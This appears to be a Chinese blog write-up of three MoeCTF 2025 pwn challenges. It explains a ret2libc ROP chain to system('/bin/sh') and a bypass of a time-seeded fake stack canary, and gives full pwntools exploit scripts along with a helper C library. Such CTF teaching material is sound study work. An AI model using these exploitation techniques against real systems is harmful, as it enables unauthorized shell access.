1366 字
3 分钟
moectf2025_pwn_part.2(详细审计_6~8)
2026-04-09
统计加载中...

备赛蓝桥也不会忘了更新(),毕竟拖太久可能就懒得写了。

prelibc#

替换文本
替换文本
替换文本

我们看到这里的NXNX(栈不可执行保护)开启了,并且也没有给我们开辟一段有权限的内存空间,所以我们并不能向上一题一样用shellcodeshellcode
不过这题的原代码还是比较简单的,printf()printf()这里泄露了printfprintf的地址给我们,我们需要接收。
我们再看看vuln()vuln()函数里面。给了一个明确的栈溢出,长度也是相对足够的。
现在来讲讲原理。这题就是比较经典的libclibclibclibc一般指glibcglibc,它里面封装了许多CC语言的系统调用,并存在有许多我们可以利用的函数。我们可以利用libclibc来泄露和利用我们想要使用的那个函数。
我们首先要用recvline()recvline()来接收发送的字节流,strip()strip()来截断字符串首尾的空白字符。然后存储转换成十进制来存储,方便后续操作。
然后我们可以利用泄露的实际地址减去对应其在libclibc库中的偏移量来计算出libclibc的基址,并存入libc.addresslibc.address中。注:这里我们用了pwntoolspwntoolsELFELF来解析我们对应的二进制文件和libclibc里面存有的ELFELF头,程序头,节表头,并读取符号表。而libc.symbolslibc.symbols是一个类似于字典的特殊的映射,键值是[printf]['printf'],值是符号在虚拟地址(相对于库加载基址的偏移)。值得注意的是,这里的所有值都是直接从ELFELF中读取的,不是内存中的实际地址。
在上述存入libc.addresslibc.address的操作后,libc.symbols[]libc.symbols[]就不再只是简单的偏移了,而是存有了实际的地址。所以这里的libc.symbols[system]libc.symbols['system']systemsystem真实的地址。然后我们需要搜索对应的/bin/sh/bin/sh子串。这里使用的了libc.search(pattern)libc.search(pattern)来搜索/bin/sh/bin/sh这个子串,它会在ELFELF的原始二进制文件中搜索指定的字节模式(pattern)(pattern),然后返回一个生成器,每次输出一个对应的偏移量。然后我们用next()next()来取出这个迭代器存有的第一个元素(对应的偏移量)。在/bin/sh/bin/sh后加上空字节x00'\\x00'是为了防止读取到其他错误的字节串。
接着我们还需要一个rdirdi寄存器的地址来存入第一个元素,以及一个retret的地址来进行栈对齐。这里我们发现没有对应可以利用rdirdi

替换文本
不过我们可以利用一下libc.so.6libc.so.6,然后可以发现里面有我们需要的gadgetgadget
替换文本
然后我们知道溢出所需的大小就可以构造roprop链了。这里用的是构造system(/bin/sh)system('/bin/sh')getshellgetshell

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
context.terminal = ['tmux','splitw','-h']
elf = ELF('./pwn_patched')
libc = ELF('./libc.so.6')
io = process('./pwn_patched')
#io = remote('127.0.0.1',37453)
#gdb.attach(io)
io.recvuntil(b"the location of 'printf': ")
leaked_printf_str = io.recvline().strip()
leaked_printf_addr = int(leaked_printf_str, 16)
log.success(f"printf address: {hex(leaked_printf_addr)}")
libc.address = leaked_printf_addr - libc.symbols['printf']
log.success(f"libc base address: {hex(libc.address)}")
system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh\x00'))
log.success(f"system address: {hex(system_addr)}")
log.success(f"'/bin/sh' string address: {hex(bin_sh_addr)}")
pop_rdi_addr = libc.address + 0x02a3e5
ret_addr = libc.address + 0x029139
offset = 64 + 8
payload = flat([
b'A' * offset,
p64(ret_addr),
p64(pop_rdi_addr),
p64(bin_sh_addr),
p64(system_addr)
])
io.sendlineafter(b'> ', payload)
log.info("Payload sent!")
io.interactive()

boom#

替换文本
替换文本
替换文本
比较长的代码,一步步来看。
fgetsfgets让我们向&brute_choice\&brute\_choice上输入88字节。我们看到后面当&brute_choice\&brute\_choice等于1211218989时(asciiascii码对应Y'Y'y'y')才能触发爆破模式。然后v6v6会设置为11,在if(v6)if(v6)的判断中使用gets()gets(),(无限制地写入)。所以我们的第一步需要发送一个Y'Y'或者y'y'触发爆破模式。
接着我们看到canarycanary是由random()random()生成的随机数再对114514114514取余,然后被放在了v5v5上。但我们注意到,v5v5的位置是在[rsp14h][rsp-14h]上。也就是在缓冲区上。我们在填充缓冲区溢出时势必会覆盖掉这个cannarycannary的值,然后就会进入后续的判断if(v6&&v5!=canary)if(v6 \&\& v5 != canary)中,触发canarycanary的安全检查失败。所以我们需要伪造一个相同的canarycanary值对齐原来的canarycanary值。 这里我们还要注意到一点。initinit里面调用了srandom(time(0))srandom(time(0))来设置种子。我们知道random()random()是一个伪随机数生成器,其输出完全由seedseed来确定。所以我们只需要在相同时间窗口内使用相同的的initinit和随机数生成函数(randdrandd)就可以生成和canarycanary相同的值。
替换文本
所以我们的最终解决方案是自己编译一个CC语言源文件。然后编译成可以利用的共享文件(.so)(.so),然后用ctypesctypespythonpython中调用然后生成相对应的canarycanary。在先填充完[rbp90h][rbp-90h][rbp14h][rbp -14h]位置,然后写入canarycanary(canarycanaryintint类型所以用p32()p32()),然后继续填充到栈溢出,返回后门函数即可。

NOTE


这里补充一些知识。
ctypesctypes是于CC语言兼容的数据类型库,允许调用动态链接库(dll/so)(dll/so)的函数。
ctypes.CDLL()ctypes.CDLL()是加载指定路径的动态库,使用linuxlinux下的CC语言默认调用约定。加载完成后我们就可以直接调用使用库里的函数了。

EXPEXP(对齐canarycanary):

from pwn import *
import ctypes
context(arch = 'amd64', os ='linux', log_level = 'debug')
io = remote('127.0.0.1',35107)
#io = process('./pwn')
#gdb.attach(io)
io.sendlineafter("Do you want to brute-force this system? (y/n)",b'y')
ret_addr = 0x40101a
lib = ctypes.CDLL('./1.so')
lib.randd.restype = ctypes.c_int
lib.init()
canary = lib.randd()
win_addr = 0x40127B
payload = flat([
b'a' * (0x90 - 0x14),
p32(canary),
b'a' * (0x10 + 8),
#p64(ret_addr),
p64(win_addr)
])
io.sendlineafter(b"Enter your message: ",payload)
io.interactive()

编译CC语言文件:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
void init(){
srandom(time(0));
return;
}
int randd(){
return random()%114514;
}

在对应的文件目录下编译:

gcc -shared -fPIC myrand.c -o 1.so

此外其实还有一种非常巧妙地解法。
我们看到爆破完之后会进入if(v6)if(v6)的判断语句内,开始gets()gets()溢出。v6v6在栈上,它的位置是[rbp4h][rbp-4h],我们可以将v6v6直接覆盖为00,这样在后续的if(v6&&v5!=canary)if(v6 \&\& v5 != canary)判断就可以直接绕过了。

from pwn import *
import ctypes
context(arch = 'amd64', os ='linux', log_level = 'debug')
io = remote('127.0.0.1',35107)
#io = process('./pwn')
#gdb.attach(io)
io.sendlineafter("Do you want to brute-force this system? (y/n)",b'y')
ret_addr = 0x40101a
win_addr = 0x40127B
payload = flat([
b'a' * (0x90 - 0x4),
p32(0),
b'a' * 8,
#p64(ret_addr),
p64(win_addr)
])
io.sendlineafter(b"Enter your message: ",payload)
io.interactive()

boom_revenge#

参考这里的上面的第一种解法即可,这里和上面的boomboom的唯一区别就是在判断条件时去掉了v6v6。所以我们无法通过覆盖栈上的v6v6来绕过检查。

替换文本

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

moectf2025_pwn_part.2(详细审计_6~8)
https://mkrari.cn/posts/moectf2025_pwn_2/
作者
Mkrari
发布于
2026-04-09
许可协议
CC BY-NC-SA 4.0